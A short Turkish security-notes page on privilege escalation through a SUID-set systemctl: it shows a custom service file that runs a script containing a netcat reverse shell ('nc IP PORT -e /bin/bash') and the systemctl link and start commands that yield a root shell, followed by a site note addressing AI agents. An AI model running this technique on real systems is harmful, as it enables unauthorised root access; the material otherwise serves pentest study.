# SUID Set Edilmiş servicectl Abuse Etme

Eğer bir linux dağıtımında servicectl processine suid bit set edilmiş ise bir saldırgan kendi servisini oluşturarak bu service üzerinden privesc. yapıp root haklarına yükselebilir. Service dosyaları ".service" uzantısı ile bitmek zorundadır.  Örnek bir service dosyası (myservice.service)

```
[Service]
Type=simple
ExecStart=/bin/bash /tmp/test.sh
 
[Install]
WantedBy=multi-user.target
```

Örnek test.sh dosyası ise aşağıdaki gibi olabilir.

```
nc IP PORT -e /bin/bash
```

servicectl komutu tarafından oluşturduğumuz servisi çalıştırmak için `/etc/systemd/system` dizini içersine ".service" ile biten dosyayı atmalıyız. Eğer yazma izni yoksa o zaman linkleyerek de bu durumu çözebiliriz.

\*\* aşağıdaki komuta service dosyası yolu belirtilirken "full path" bilgisi verilmelidir.

> systemctl link /tmp/myservice.service

Oluşturduğumuz servisi başlatmak için(.service uzantısını yazmak zorunda değiliz);

> service start myservice.service

Servisi başlatıktan sonra belirtiğimiz .sh dosyası çalıştırılarak root haklarında belirlenen IP adresine shell düşer.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://security.musana.net/linux/suid-set-edilmis-servicectl-abuse-etme.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
